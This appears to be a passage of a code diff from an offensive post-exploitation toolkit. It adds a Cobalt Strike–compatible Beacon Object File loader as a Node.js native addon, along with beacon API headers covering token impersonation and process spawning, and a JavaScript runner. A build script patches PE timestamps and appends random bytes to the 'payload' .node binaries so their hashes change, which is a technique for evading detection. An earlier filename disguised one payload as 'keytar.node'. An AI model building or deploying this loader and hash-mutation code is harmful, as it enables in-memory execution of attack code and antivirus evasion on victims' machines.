Napi::TypeError::New(env, "Wrong number of arguments. Expected: functionName, coffData, argumentData, argumentSize")
.ThrowAsJavaScriptException();
return env.Null();
}
// Validate argument types
if (!info[0].IsString()) {
Napi::TypeError::New(env, "First argument must be a string (functionName)")
.ThrowAsJavaScriptException();
return env.Null();
}
if (!info[1].IsBuffer()) {
Napi::TypeError::New(env, "Second argument must be a Buffer (coffData)")
.ThrowAsJavaScriptException();
return env.Null();
}
if (!info[2].IsBuffer()) {
Napi::TypeError::New(env, "Third argument must be a Buffer (argumentData)")
.ThrowAsJavaScriptException();
return env.Null();
}
if (!info[3].IsNumber()) {
Napi::TypeError::New(env, "Fourth argument must be a number (argumentSize)")
.ThrowAsJavaScriptException();
return env.Null();
}
// Get arguments
std::string functionName = info[0].As<Napi::String>().Utf8Value();
Napi::Buffer<unsigned char> coffBuffer = info[1].As<Napi::Buffer<unsigned char>>();
Napi::Buffer<unsigned char> argBuffer = info[2].As<Napi::Buffer<unsigned char>>();
int argSize = info[3].As<Napi::Number>().Int32Value();
printf("Calling RunCOFF with functionName: %s\n", functionName.c_str());
printf("coffBuffer length: %zu\n", coffBuffer.Length());
printf("argBuffer length: %zu\n", argBuffer.Length());
// Call the native function
int result = RunCOFF(
const_cast<char*>(functionName.c_str()),
coffBuffer.Data(),
static_cast<uint32_t>(coffBuffer.Length()),
argBuffer.Data(),
argSize
);
//printf("RunCOFF returned: %d\n", result);
// Create a result object to return both the status and output
Napi::Object resultObj = Napi::Object::New(env);
resultObj.Set("status", Napi::Number::New(env, result));
// Get the output data if available
int outsize = 0;
char* outdata = BeaconGetOutputData(&outsize);
//printf("BeaconGetOutputData returned outsize: %d\n", outsize);
if (outdata != NULL && outsize > 0) {
//printf("Output data: %.*s\n", outsize, outdata);
// Create a Buffer from the output data
Napi::Buffer<char> outputBuffer = Napi::Buffer<char>::Copy(env, outdata, outsize);
resultObj.Set("output", outputBuffer);
} else {
//printf("No output data available\n");
resultObj.Set("output", env.Null());
}
return resultObj;
}
// Initialize module
Napi::Object Init(Napi::Env env, Napi::Object exports) {
exports.Set("runCOFF", Napi::Function::New(env, RunCOFFWrapper));
return exports;
}
NODE_API_MODULE(COFFLoader, Init)
#ifdef COFF_STANDALONE
int main(int argc, char* argv[]) {
char* coff_data = NULL;
unsigned char* arguments = NULL;
int argumentSize = 0;
#ifdef _WIN32
char* outdata = NULL;
int outdataSize = 0;
#endif
uint32_t filesize = 0;
int checkcode = 0;
if (argc < 3) {
//printf("ERROR: %s go /path/to/object/file.o (arguments)\n", argv[0]);
return 1;
}
coff_data = (char*)getContents(argv[2], &filesize);
if (coff_data == NULL) {
return 1;
}
//printf("Got contents of COFF file\n");
arguments = unhexlify((unsigned char*)argv[3], &argumentSize);
//printf("Running/Parsing the COFF file\n");
checkcode = RunCOFF(argv[1], (unsigned char*)coff_data, filesize, arguments, argumentSize);
if (checkcode == 0) {
#ifdef _WIN32
//printf("Ran/parsed the coff\n");
outdata = BeaconGetOutputData(&outdataSize);
if (outdata != NULL) {
//printf("Outdata Below:\n\n%s\n", outdata);
}
#endif
}
else {
//printf("Failed to run/parse the COFF file\n");
}
if (coff_data) {
free(coff_data);
}
return 0;
}
#endif
+109
View File
@@ -0,0 +1,109 @@
#ifndef COFFLOADER_H_
#define COFFLOADER_H_
#include <stdio.h>
#include <stdint.h>
/* These seem to be the same sizes across architectures, relocations are different though. Defined both sets of types. */
/* sizeof 20 */
typedef struct coff_file_header {
uint16_t Machine;
uint16_t NumberOfSections;
uint32_t TimeDateStamp;
uint32_t PointerToSymbolTable;
uint32_t NumberOfSymbols;
uint16_t SizeOfOptionalHeader;
uint16_t Characteristics;
} coff_file_header_t;
/* AMD64 should always be here */
#define MACHINETYPE_AMD64 0x8664
#pragma pack(push,1)
/* Size of 40 */
typedef struct coff_sect {
char Name[8];
uint32_t VirtualSize;
uint32_t VirtualAddress;
uint32_t SizeOfRawData;
uint32_t PointerToRawData;
uint32_t PointerToRelocations;
uint32_t PointerToLineNumbers;
uint16_t NumberOfRelocations;
uint16_t NumberOfLinenumbers;
uint32_t Characteristics;
} coff_sect_t;
typedef struct coff_reloc {
uint32_t VirtualAddress;
uint32_t SymbolTableIndex;
uint16_t Type;
} coff_reloc_t;
typedef struct coff_sym {
union {
char Name[8];
uint32_t value[2];
} first;
uint32_t Value;
uint16_t SectionNumber;
uint16_t Type;
uint8_t StorageClass;
uint8_t NumberOfAuxSymbols;
} coff_sym_t;
#pragma pack(pop)
/* AMD64 Specific types */
#define IMAGE_REL_AMD64_ABSOLUTE 0x0000
#define IMAGE_REL_AMD64_ADDR64 0x0001
#define IMAGE_REL_AMD64_ADDR32 0x0002
#define IMAGE_REL_AMD64_ADDR32NB 0x0003
/* Most common from the looks of it, just 32-bit relative address from the byte following the relocation */
#define IMAGE_REL_AMD64_REL32 0x0004
/* Second most common, 32-bit address without an image base. Not sure what that means... */
#define IMAGE_REL_AMD64_REL32_1 0x0005
#define IMAGE_REL_AMD64_REL32_2 0x0006
#define IMAGE_REL_AMD64_REL32_3 0x0007
#define IMAGE_REL_AMD64_REL32_4 0x0008
#define IMAGE_REL_AMD64_REL32_5 0x0009
#define IMAGE_REL_AMD64_SECTION 0x000A
#define IMAGE_REL_AMD64_SECREL 0x000B
#define IMAGE_REL_AMD64_SECREL7 0x000C
#define IMAGE_REL_AMD64_TOKEN 0x000D
#define IMAGE_REL_AMD64_SREL32 0x000E
#define IMAGE_REL_AMD64_PAIR 0x000F
#define IMAGE_REL_AMD64_SSPAN32 0x0010
/*i386 Relocation types */
#define IMAGE_REL_I386_ABSOLUTE 0x0000
#define IMAGE_REL_I386_DIR16 0x0001
#define IMAGE_REL_I386_REL16 0x0002
#define IMAGE_REL_I386_DIR32 0x0006
#define IMAGE_REL_I386_DIR32NB 0x0007
#define IMAGE_REL_I386_SEG12 0x0009
#define IMAGE_REL_I386_SECTION 0x000A
#define IMAGE_REL_I386_SECREL 0x000B
#define IMAGE_REL_I386_TOKEN 0x000C
#define IMAGE_REL_I386_SECREL7 0x000D
#define IMAGE_REL_I386_REL32 0x0014
/* Section Characteristic Flags */
#define IMAGE_SCN_MEM_WRITE 0x80000000
#define IMAGE_SCN_MEM_READ 0x40000000
#define IMAGE_SCN_MEM_EXECUTE 0x20000000
#define IMAGE_SCN_ALIGN_16BYTES 0x00500000
#define IMAGE_SCN_MEM_NOT_CACHED 0x04000000
#define IMAGE_SCN_MEM_NOT_PAGED 0x08000000
#define IMAGE_SCN_MEM_SHARED 0x10000000
#define IMAGE_SCN_CNT_CODE 0x00000020
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080
#define IMAGE_SCN_MEM_DISCARDABLE 0x02000000
int RunCOFF(char* functionname, unsigned char* coff_data, uint32_t filesize, unsigned char* argumentdata, int argumentSize);
unsigned char* unhexlify(unsigned char* value, int *outlen);
#endif
+61
View File
@@ -0,0 +1,61 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Cobalt Strike 4.1.
*/
/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
+402
View File
@@ -0,0 +1,402 @@
/*
* Cobalt Strike 4.X BOF compatibility layer
* -----------------------------------------
* The whole point of these files are to allow beacon object files built for CS
* to run fine inside of other tools without recompiling.
*
* Built off of the beacon.h file provided to build for CS.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdarg.h>
#ifdef _WIN32
#include <windows.h>
#include "beacon_compatibility.h"
#define DEFAULTPROCESSNAME "rundll32.exe"
#ifdef _WIN64
#define X86PATH "SysWOW64"
#define X64PATH "System32"
#else
#define X86PATH "System32"
#define X64PATH "sysnative"
#endif
/* Data Parsing */
unsigned char* InternalFunctions[30][2] = {
{(unsigned char*)"BeaconDataParse", (unsigned char*)BeaconDataParse},
{(unsigned char*)"BeaconDataInt", (unsigned char*)BeaconDataInt},
{(unsigned char*)"BeaconDataShort", (unsigned char*)BeaconDataShort},
{(unsigned char*)"BeaconDataLength", (unsigned char*)BeaconDataLength},
{(unsigned char*)"BeaconDataExtract", (unsigned char*)BeaconDataExtract},
{(unsigned char*)"BeaconFormatAlloc", (unsigned char*)BeaconFormatAlloc},
{(unsigned char*)"BeaconFormatReset", (unsigned char*)BeaconFormatReset},
{(unsigned char*)"BeaconFormatFree", (unsigned char*)BeaconFormatFree},
{(unsigned char*)"BeaconFormatAppend", (unsigned char*)BeaconFormatAppend},
{(unsigned char*)"BeaconFormatPrintf", (unsigned char*)BeaconFormatPrintf},
{(unsigned char*)"BeaconFormatToString", (unsigned char*)BeaconFormatToString},
{(unsigned char*)"BeaconFormatInt", (unsigned char*)BeaconFormatInt},
{(unsigned char*)"BeaconPrintf", (unsigned char*)BeaconPrintf},
{(unsigned char*)"BeaconOutput", (unsigned char*)BeaconOutput},
{(unsigned char*)"BeaconUseToken", (unsigned char*)BeaconUseToken},
{(unsigned char*)"BeaconRevertToken", (unsigned char*)BeaconRevertToken},
{(unsigned char*)"BeaconIsAdmin", (unsigned char*)BeaconIsAdmin},
{(unsigned char*)"BeaconGetSpawnTo", (unsigned char*)BeaconGetSpawnTo},
{(unsigned char*)"BeaconSpawnTemporaryProcess", (unsigned char*)BeaconSpawnTemporaryProcess},
{(unsigned char*)"BeaconInjectProcess", (unsigned char*)BeaconInjectProcess},
{(unsigned char*)"BeaconInjectTemporaryProcess", (unsigned char*)BeaconInjectTemporaryProcess},
{(unsigned char*)"BeaconCleanupProcess", (unsigned char*)BeaconCleanupProcess},
{(unsigned char*)"toWideChar", (unsigned char*)toWideChar},
{(unsigned char*)"LoadLibraryA", (unsigned char*)LoadLibraryA},
{(unsigned char*)"GetProcAddress", (unsigned char*)GetProcAddress},
{(unsigned char*)"GetModuleHandleA", (unsigned char*)GetModuleHandleA},
{(unsigned char*)"FreeLibrary", (unsigned char*)FreeLibrary},
{(unsigned char*)"__C_specific_handler", NULL}
};
uint32_t swap_endianess(uint32_t indata) {
uint32_t testint = 0xaabbccdd;
uint32_t outint = indata;
if (((unsigned char*)&testint)[0] == 0xdd) {
((unsigned char*)&outint)[0] = ((unsigned char*)&indata)[3];
((unsigned char*)&outint)[1] = ((unsigned char*)&indata)[2];
((unsigned char*)&outint)[2] = ((unsigned char*)&indata)[1];
((unsigned char*)&outint)[3] = ((unsigned char*)&indata)[0];
}
return outint;
}
char* beacon_compatibility_output = NULL;
int beacon_compatibility_size = 0;
int beacon_compatibility_offset = 0;
void BeaconDataParse(datap* parser, char* buffer, int size) {
if (parser == NULL || buffer == NULL) {
return;
}
parser->original = buffer;
parser->buffer = buffer;
parser->length = size - 4;
parser->size = size - 4;
parser->buffer += 4;
return;
}
int BeaconDataInt(datap* parser) {
if (parser == NULL) {
return 0;
}
int32_t fourbyteint = 0;
if (parser->length < 4) {
return 0;
}
memcpy(&fourbyteint, parser->buffer, 4);
parser->buffer += 4;
parser->length -= 4;
return (int)fourbyteint;
}
short BeaconDataShort(datap* parser) {
if (parser == NULL) {
return 0;
}
int16_t retvalue = 0;
if (parser->length < 2) {
return 0;
}
memcpy(&retvalue, parser->buffer, 2);
parser->buffer += 2;
parser->length -= 2;
return (short)retvalue;
}
int BeaconDataLength(datap* parser) {
if (parser == NULL) {
return 0;
}
return parser->length;
}
char* BeaconDataExtract(datap* parser, int* size) {
if (parser == NULL) {
return NULL;
}
uint32_t length = 0;
char* outdata = NULL;
/*Length prefixed binary blob, going to assume uint32_t for this.*/
if (parser->length < 4) {
return NULL;
}
memcpy(&length, parser->buffer, 4);
parser->buffer += 4;
outdata = parser->buffer;
if (outdata == NULL) {
return NULL;
}
parser->length -= 4;
parser->length -= length;
parser->buffer += length;
if (size != NULL && outdata != NULL) {
*size = length;
}
return outdata;
}
/* format API */
void BeaconFormatAlloc(formatp* format, int maxsz) {
if (format == NULL) {
return;
}
format->original = calloc(maxsz, 1);
format->buffer = format->original;
format->length = 0;
format->size = maxsz;
return;
}
void BeaconFormatReset(formatp* format) {
if (format == NULL) {
return;
}
memset(format->original, 0, format->size);
format->buffer = format->original;
format->length = format->size;
return;
}
void BeaconFormatFree(formatp* format) {
if (format == NULL) {
return;
}
if (format->original) {
free(format->original);
format->original = NULL;
}
format->buffer = NULL;
format->length = 0;
format->size = 0;
return;
}
void BeaconFormatAppend(formatp* format, char* text, int len) {
if (format == NULL || text == NULL) {
return;
}
memcpy(format->buffer, text, len);
format->buffer += len;
format->length += len;
return;
}
void BeaconFormatPrintf(formatp* format, char* fmt, ...) {
if (format == NULL || fmt == NULL) {
return;
}
/*Take format string, and sprintf it into here*/
va_list args;
int length = 0;
va_start(args, fmt);
length = vsnprintf(NULL, 0, fmt, args);
va_end(args);
if (format->length + length > format->size) {
return;
}
va_start(args, fmt);
(void)vsnprintf(format->buffer, length, fmt, args);
va_end(args);
format->length += length;
format->buffer += length;
return;
}
char* BeaconFormatToString(formatp* format, int* size) {
if (format == NULL || size == NULL) {
return NULL;
}
*size = format->length;
return format->original;
}
void BeaconFormatInt(formatp* format, int value) {
if (format == NULL) {
return;
}
uint32_t indata = value;
uint32_t outdata = 0;
if (format->length + 4 > format->size) {
return;
}
outdata = swap_endianess(indata);
memcpy(format->buffer, &outdata, 4);
format->length += 4;
format->buffer += 4;
return;
}
/* Main output functions */
void BeaconPrintf(int type, char* fmt, ...) {
if (fmt == NULL) {
return;
}
/* Change to maintain internal buffer, and return after done running. */
int length = 0;
char* tempptr = NULL;
va_list args;
va_start(args, fmt);
vprintf(fmt, args);
va_end(args);
va_start(args, fmt);
length = vsnprintf(NULL, 0, fmt, args);
va_end(args);
tempptr = realloc(beacon_compatibility_output, beacon_compatibility_size + length + 1);
if (tempptr == NULL) {
return;
}
beacon_compatibility_output = tempptr;
memset(beacon_compatibility_output + beacon_compatibility_offset, 0, length + 1);
va_start(args, fmt);
length = vsnprintf(beacon_compatibility_output + beacon_compatibility_offset, length +1, fmt, args);
beacon_compatibility_size += length;
beacon_compatibility_offset += length;
va_end(args);
return;
}
void BeaconOutput(int type, char* data, int len) {
if (data == NULL) {
return;
}
char* tempptr = NULL;
tempptr = realloc(beacon_compatibility_output, beacon_compatibility_size + len + 1);
beacon_compatibility_output = tempptr;
if (tempptr == NULL) {
return;
}
memset(beacon_compatibility_output + beacon_compatibility_offset, 0, len + 1);
memcpy(beacon_compatibility_output + beacon_compatibility_offset, data, len);
beacon_compatibility_size += len;
beacon_compatibility_offset += len;
return;
}
/* Token Functions */
BOOL BeaconUseToken(HANDLE token) {
/* Probably needs to handle DuplicateTokenEx too */
SetThreadToken(NULL, token);
return TRUE;
}
void BeaconRevertToken(void) {
if (!RevertToSelf()) {
#ifdef DEBUG
printf("RevertToSelf Failed!\n");
#endif
}
return;
}
BOOL BeaconIsAdmin(void) {
/* Leaving this to be implemented by people needing it */
#ifdef DEBUG
printf("BeaconIsAdmin Called\n");
#endif
return FALSE;
}
/* Injection/spawning related stuffs
*
* These functions are basic place holders, and if implemented into something
* real should be just calling internal functions for your tools. */
void BeaconGetSpawnTo(BOOL x86, char* buffer, int length) {
char* tempBufferPath = NULL;
if (buffer == NULL) {
return;
}
if (x86) {
tempBufferPath = "C:\\Windows\\"X86PATH"\\"DEFAULTPROCESSNAME;
}
else {
tempBufferPath = "C:\\Windows\\"X64PATH"\\"DEFAULTPROCESSNAME;
}
if ((int)strlen(tempBufferPath) > length) {
return;
}
memcpy(buffer, tempBufferPath, strlen(tempBufferPath));
return;
}
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * sInfo, PROCESS_INFORMATION * pInfo) {
BOOL bSuccess = FALSE;
if (x86) {
bSuccess = CreateProcessA(NULL, (char*)"C:\\Windows\\"X86PATH"\\"DEFAULTPROCESSNAME, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo);
}
else {
bSuccess = CreateProcessA(NULL, (char*)"C:\\Windows\\"X64PATH"\\"DEFAULTPROCESSNAME, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo);
}
return bSuccess;
}
void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char * arg, int a_len) {
/* Leaving this to be implemented by people needing/wanting it */
return;
}
void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len) {
/* Leaving this to be implemented by people needing/wanting it */
return;
}
void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo) {
if (pInfo != NULL) {
(void)CloseHandle(pInfo->hThread);
(void)CloseHandle(pInfo->hProcess);
}
return;
}
BOOL toWideChar(char* src, wchar_t* dst, int max) {
if (max < sizeof(wchar_t))
return FALSE;
return MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, src, -1, dst, max / sizeof(wchar_t));
}
char* BeaconGetOutputData(int *outsize) {
if (outsize == NULL) {
return NULL;
}
char* outdata = beacon_compatibility_output;
*outsize = beacon_compatibility_size;
beacon_compatibility_output = NULL;
beacon_compatibility_size = 0;
beacon_compatibility_offset = 0;
return outdata;
}
#endif
+77
View File
@@ -0,0 +1,77 @@
/*
* Cobalt Strike 4.X BOF compatibility layer
* -----------------------------------------
* The whole point of these files are to allow beacon object files built for CS
* to run fine inside of other tools without recompiling.
*
* Built off of the beacon.h file provided to build for CS.
*/
#ifndef BEACON_COMPATIBILITY_H_
#define BEACON_COMPATIBILITY_H_
#ifdef __cplusplus
extern "C" {
#endif
/* Structures as is in beacon.h */
extern unsigned char* InternalFunctions[30][2];
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
void BeaconDataParse(datap * parser, char * buffer, int size);
int BeaconDataInt(datap * parser);
short BeaconDataShort(datap * parser);
int BeaconDataLength(datap * parser);
char * BeaconDataExtract(datap * parser, int * size);
void BeaconFormatAlloc(formatp * format, int maxsz);
void BeaconFormatReset(formatp * format);
void BeaconFormatFree(formatp * format);
void BeaconFormatAppend(formatp * format, char * text, int len);
void BeaconFormatPrintf(formatp * format, char * fmt, ...);
char * BeaconFormatToString(formatp * format, int * size);
void BeaconFormatInt(formatp * format, int value);
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20
void BeaconPrintf(int type, char * fmt, ...);
void BeaconOutput(int type, char * data, int len);
/* Token Functions */
BOOL BeaconUseToken(HANDLE token);
void BeaconRevertToken();
BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * sInfo, PROCESS_INFORMATION * pInfo);
void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
BOOL toWideChar(char * src, wchar_t * dst, int max);
uint32_t swap_endianess(uint32_t indata);
char* BeaconGetOutputData(int *outsize);
#ifdef __cplusplus
}
#endif
#endif
+19
View File
@@ -0,0 +1,19 @@
{
"targets": [
{
"target_name": "COFFLoader",
"sources": [
"COFFLoader.cpp",
"beacon_compatibility.c"
],
"include_dirs": [
"node_modules/node-addon-api"
],
"dependencies": [
"<!(node -p \"require('node-addon-api').gyp\")"
],
"cflags_cc": [ "-std=c++17" ],
"defines": [ "NAPI_DISABLE_CPP_EXCEPTIONS" ]
}
]
}
+8
View File
@@ -0,0 +1,8 @@
{
"name": "myaddon",
"version": "1.0.0",
"main": "index.js",
"dependencies": {
"node-addon-api": "^7.1.1"
}
}
+149
View File
@@ -0,0 +1,149 @@
const COFFLoader = require('./build/Release/COFFLoader');
const fs = require('fs');
class BeaconPack {
constructor() {
this.buffer = Buffer.alloc(0);
this.size = 0;
}
getBuffer() {
// Create a buffer for the size (4 bytes) + the actual buffer
const sizeBuffer = Buffer.alloc(4);
sizeBuffer.writeUInt32LE(this.size, 0);
return Buffer.concat([sizeBuffer, this.buffer]);
}
addShort(short) {
const shortBuffer = Buffer.alloc(2);
shortBuffer.writeInt16LE(short, 0);
this.buffer = Buffer.concat([this.buffer, shortBuffer]);
this.size += 2;
}
addInt(dint) {
const intBuffer = Buffer.alloc(4);
intBuffer.writeInt32LE(dint, 0);
this.buffer = Buffer.concat([this.buffer, intBuffer]);
this.size += 4;
}
addString(s) {
if (typeof s === 'string') {
s = Buffer.from(s, 'utf-8');
}
// Add null terminator
s = Buffer.concat([s, Buffer.from([0])]);
const sizeBuffer = Buffer.alloc(4);
sizeBuffer.writeUInt32LE(s.length, 0);
this.buffer = Buffer.concat([this.buffer, sizeBuffer, s]);
this.size += 4 + s.length;
}
addWString(s) {
if (typeof s === 'string') {
s = Buffer.from(s, 'utf16le');
}
// Add null terminator (2 bytes for UTF-16)
s = Buffer.concat([s, Buffer.from([0, 0])]);
const sizeBuffer = Buffer.alloc(4);
sizeBuffer.writeUInt32LE(s.length, 0);
this.buffer = Buffer.concat([this.buffer, sizeBuffer, s]);
this.size += 4 + s.length;
}
addBinary(data, length) {
if (typeof data === 'string') {
data = Buffer.from(data, 'utf-8');
}
const sizeBuffer = Buffer.alloc(4);
sizeBuffer.writeUInt32LE(length, 0);
this.buffer = Buffer.concat([this.buffer, sizeBuffer, data]);
this.size += 4 + length;
}
reset() {
this.buffer = Buffer.alloc(0);
this.size = 0;
}
}
function runBOF() {
try {
// Get command line arguments
const args = process.argv.slice(2);
if (args.length < 2) {
console.error('Usage: bof <path_to_coff_file> <function_name> <format_string> [args...]');
console.error('Format specifiers:');
console.error(' z = null-terminated string (char*)');
console.error(' i = 4-byte integer (int)');
console.error(' b = binary blob (void*, length)');
console.error(' w = wide string (wchar_t*)');
process.exit(1);
}
// Read COFF file from command line path
const coffData = fs.readFileSync(args[0]);
console.log(`[BOF] coffData.length: ${coffData.length}`);
// Get format string and validate arguments
const functionName = args[1];
const formatString = args[2];
const formatArgs = args.slice(3);
// if (formatArgs.length !== formatString.length) {
// console.error(`[BOF] Error: Format string "${formatString}" requires ${formatString.length} arguments but got ${formatArgs.length}`);
// process.exit(1);
// }
// Create argument data using BeaconPack
const beaconPack = new BeaconPack();
// Process each format specifier and its corresponding argument
for (let i = 0; i < formatString.length; i++) {
const formatChar = formatString[i];
const arg = formatArgs[i];
switch (formatChar) {
case 'z': // null-terminated string
beaconPack.addString(arg);
break;
case 'w': // wide string
beaconPack.addWString(arg);
break;
case 'i': // integer
beaconPack.addInt(parseInt(arg));
break;
case 'b': // binary blob
const [data, length] = arg.split(',');
beaconPack.addBinary(data, parseInt(length));
break;
default:
console.error(`[BOF] Error: Unknown format specifier '${formatChar}'`);
process.exit(1);
}
}
const argumentData = beaconPack.getBuffer();
console.log('[BOF] Packed argument data:', argumentData.toString('hex'));
// Call the native function
const result = COFFLoader.runCOFF(
functionName, // The name of the function to call in the COFF file
coffData, // The COFF file contents as a Buffer
argumentData, // Arguments to pass to the function
argumentData.length // Size of the arguments
);
console.log('[BOF] RunCOFF status:', result.status);
if (result.output) {
console.log('[BOF] Output:', result.output.toString());
} else {
console.log('[BOF] No output data');
}
} catch (error) {
console.error('[BOF] Error:', error);
}
}
runBOF();
+23 -5
View File
@@ -83,8 +83,10 @@ const pkgSrcPath = path.join(sourceDir, 'package.json');
const pkgDstPath = path.join(outputDir, 'package.json');
const AssemblySrcPath = path.join(sourceDir, 'assembly.node');
const AssemblyDstPath = path.join(outputDir, 'assembly.node');
const scexecSrcPath = path.join(sourceDir, 'keytar.node');
const scexecDstPath = path.join(outputDir, 'keytar.node');
const scexecSrcPath = path.join(sourceDir, 'scexec.node');
const scexecDstPath = path.join(outputDir, 'scexec.node');
const CoffLoaderSrcPath = path.join(sourceDir, 'CoffLoader.node');
const CoffLoaderDstPath = path.join(outputDir, 'CoffLoader.node');
const cleanupTargets = [
path.join(__dirname, 'node_modules'),
path.join(__dirname, 'package.json'),
@@ -140,6 +142,7 @@ async function changeNodeHashes() {
// Load original PE binaries
const assembly_buffer = fs.readFileSync(AssemblySrcPath);
const scexec_buffer = fs.readFileSync(scexecSrcPath);
const coffldr_buffer = fs.readFileSync(CoffLoaderSrcPath);
// ----------- Assembly PE Modification -----------
const assembly_peOffset = assembly_buffer.readUInt32LE(0x3C);
@@ -166,10 +169,25 @@ async function changeNodeHashes() {
const scexec_newBuffer = Buffer.concat([scexec_buffer, scexec_junk]);
fs.writeFileSync(scexecDstPath, scexec_newBuffer);
// ----------- COFF Loader PE Modification -----------
const coffldr_peOffset = coffldr_buffer.readUInt32LE(0x3C);
const coffldr_timestampOffset = coffldr_peOffset + 8;
const coffldr_randomTime = Math.floor(Date.now() / 1000) - Math.floor(Math.random() * 100000);
coffldr_buffer.writeUInt32LE(coffldr_randomTime, coffldr_timestampOffset);
// console.log('[+] Patched PE timestamp (coffldr):', new Date(coffldr_randomTime * 1000).toUTCString());
const coffldr_junk = crypto.randomBytes(128);
const coffldr_newBuffer = Buffer.concat([coffldr_buffer, coffldr_junk]);
fs.writeFileSync(CoffLoaderDstPath, coffldr_newBuffer);
// console.log(`- Original assembly.node hash : ${hashFile(AssemblySrcPath)}`);
// console.log(`- Original keytar.node hash : ${hashFile(scexecSrcPath)}`);
console.log(`\t- Payload assembly.node hash : ${hashFile(AssemblyDstPath)}`);
console.log(`\t- Payload keytar.node hash : ${hashFile(scexecDstPath)}`);
// console.log(`- Original scexec.node hash : ${hashFile(scexecSrcPath)}`);
console.log(`\t- Payload assembly.node hash : ${hashFile(AssemblyDstPath)}`);
console.log(`\t- Payload scexec.node hash : ${hashFile(scexecDstPath)}`);
console.log(`\t- Payload COFFLoader.node hash : ${hashFile(CoffLoaderDstPath)}`);
}
function cleanup() {